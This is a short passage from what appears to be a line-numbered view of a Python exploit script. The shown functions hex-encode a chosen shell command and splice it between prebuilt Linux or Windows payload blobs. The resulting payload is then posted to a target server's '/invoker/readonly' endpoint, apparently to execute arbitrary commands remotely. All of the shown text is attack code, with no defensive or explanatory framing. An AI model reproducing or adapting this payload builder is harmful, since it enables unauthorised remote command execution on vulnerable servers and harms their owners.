(target_os, command)
| 112 | return command_hex |
| 113 | |
| 114 | def build_payload(target_os, command): |
| 115 | global os_type |
| 116 | if os_type == "unknown": |
| 117 | if target_os == "linux": |
| 118 | payload = binascii.unhexlify(linux_payload_1 + build_command_hex(command) + payload_2) |
| 119 | if target_os == "windows": |
| 120 | payload = binascii.unhexlify(win_payload_1 + build_command_hex(command) + payload_2) |
| 121 | if os_type == "linux": |
| 122 | payload = binascii.unhexlify(linux_payload_1 + build_command_hex(command) + payload_2) |
| 123 | if os_type == "windows": |
| 124 | payload = binascii.unhexlify(win_payload_1 + build_command_hex(command) + payload_2) |
| 125 | return payload |
| 126 | |
| 127 | def do_post(payload): |
| 128 | payload_url = url_in + "/invoker/readonly" |
no test coverage detected